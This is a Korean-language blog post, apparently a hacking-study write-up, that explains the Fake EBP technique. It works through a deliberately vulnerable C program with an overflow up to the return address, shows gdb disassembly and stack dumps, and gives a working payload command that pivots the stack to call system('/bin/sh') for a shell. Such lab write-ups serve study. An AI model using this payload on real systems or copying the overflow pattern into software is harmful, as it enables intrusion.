-
Fake EBPHack/Pwnable 2015. 12. 4. 04:12
Fake EBP는 return까지밖에 덮을수없을때 사용할수있는 기법이다.
대부분 RTL,ROP 같은경우 RET를 덮고 그 이후에 체이닝을 하거나 ret+8까지 덮게되는데, FEBP는 조건이 RET까지밖에 못덮을때 사용할수있다.
1 2 3 4 5 6 7 8 9
#include <stdio.h> int main(int argc, char * argv[]) { char buf[48]; strncpy(buf, argv[1], 56); puts(buf); return 0; }
소스는 간단하게 RET까지만 덮을수 있게 되어있다.
compile option
gcc -o febp febp.c -fno-stack-protector -zexecstack -mpreferred-stack-boundary=2
0x0804844d <+0>: push %ebp
0x0804844e <+1>: mov %esp,%ebp
0x08048450 <+3>: sub $0x3c,%esp
0x08048453 <+6>: mov 0xc(%ebp),%eax
0x08048456 <+9>: add $0x4,%eax
0x08048459 <+12>: mov (%eax),%eax
0x0804845b <+14>: movl $0x38,0x8(%esp)
0x08048463 <+22>: mov %eax,0x4(%esp)
0x08048467 <+26>: lea -0x30(%ebp),%eax
0x0804846a <+29>: mov %eax,(%esp)
0x0804846d <+32>: call 0x8048340 <strncpy@plt>
0x08048472 <+37>: lea -0x30(%ebp),%eax
0x08048475 <+40>: mov %eax,(%esp)
0x08048478 <+43>: call 0x8048310 <puts@plt>
0x0804847d <+48>: mov $0x0,%eax
0x08048482 <+53>: leave
0x08048483 <+54>: ret
디스어셈블링을 하면 leaveret 가젯이보인다. 해당 가젯을 이용하여 우리는 공격할수있는데, leave와 ret의 역할을 정확히 모른다.leave 코드mov esp,ebppop ebpret 코드pop eipjmp eipleave를 통해서 ebp에 있는것을 esp로 담아주고, ebp를 pop시켜주는 역할을한다.우리가 RET를 leaveret으로 덮어준다면, leaveret이 이미 실행되고 또 실행되는데, 여기서 문제점이 발생한다.mov esp,ebppop ebp해당 코드를 두번실행하게되면 ebp는 결국 esp의 주소를 가리키게된다.페이로드는 다음과같이 짤수있다../febp $(python -c 'print "A"*4 + "system" + "AAAA" + "/bin/sh" + "A"*32 + "buf-4" + "leaveret"리턴값이 leavret으로 덮히면서 결국 buf를 가리키게된다.(gdb) x/40x $esp0xbffff55c: 0xbffff568 0xbffff7b9 0x00000038 0x909090900xbffff56c: 0x90909090 0x90909090 0x90909090 0x909090900xbffff57c: 0x90909090 0x90909090 0x90909090 0x909090900xbffff58c: 0x90909090 0x90909090 0x90909090 0x424242420xbffff59c: 0x43434343 0x00000002 0xbffff634 0xbffff6400xbffff5ac: 0x4000ecea 0x00000002 0xbffff634 0xbffff5d40xbffff5bc: 0x0804a014 0x0804822c 0x401e6000 0x000000000xbffff5cc: 0x00000000 0x00000000 0x6c7fee2f 0x99202bd00xbffff5dc: 0x00000000 0x00000000 0x00000000 0x000000020xbffff5ec: 0x08048350 0x00000000 0x40014500 0x40055999아무거나 덮어주고나서, 버퍼주소를 확인해보면 0xbffff560인데, 그대로 넣어보면 세그먼트폴트만 난다.버퍼주소를 제대로 체크하기위해서 다음과같이 코어파일을 생성한다.root@s0ngsari-virtual-machine:~/Desktop/study/febp# ./febp $(python -c 'print "A"*48')AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASegmentation fault (core dumped)root@s0ngsari-virtual-machine:~/Desktop/study/febp# lscore febp febp.c코어파일의 스택을 확인해보자(gdb) x/40x $esp-0x400xbffff5c0: 0xbffff7f3 0x00000038 0x41414141 0x414141410xbffff5d0: 0x41414141 0x41414141 0x41414141 0x414141410xbffff5e0: 0x41414141 0x41414141 0x41414141 0x414141410xbffff5f0: 0x41414141 0x41414141 0x42424242 0x434343430xbffff600: 0x00000002 0xbffff694 0xbffff6a0 0x4000ecea0xbffff610: 0x00000002 0xbffff694 0xbffff634 0x0804a0140xbffff620: 0x0804822c 0x401e6000 0x00000000 0x000000000xbffff630: 0x00000000 0x42e67cdc 0xb7bef923 0x000000000xbffff640: 0x00000000 0x00000000 0x00000002 0x080483500xbffff650: 0x00000000 0x40014500 0x40055999 0x40021000버퍼주소가 확연히다르다.buf 주소는 0xbffff5c8이된다.root@s0ngsari-virtual-machine:~/Desktop/study/febp# ./febp $(python -c 'print "A"*4 + "\x90\xc1\x07\x40" + "AAAA" + "\x24\xca\x19\x40" + "A"*32 + "\xc8\xf5\xff\xbf" + "\x82\x84\x04\x08"')AAAA��@AAAA$�@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA������#정상적으로 쉘이 따이는것을 확인할수있다.* buf주소를넣으면 pop ebp를통해 +4가되어, buf+4가된다. 해당주소는 시스템주소가 들어있기떄문에 곧바로 시스템이 실행된다.'Hack > Pwnable' 카테고리의 다른 글
otool (object tool) (0) 2015.12.07 kext(kernel extension) (0) 2015.12.07 FPO(Frame Pointer Overwrite] (0) 2015.12.02 Sigreturn Oriented Programming(SROP) (0) 2015.11.24 Improper Null Termination (SSP) (0) 2015.11.20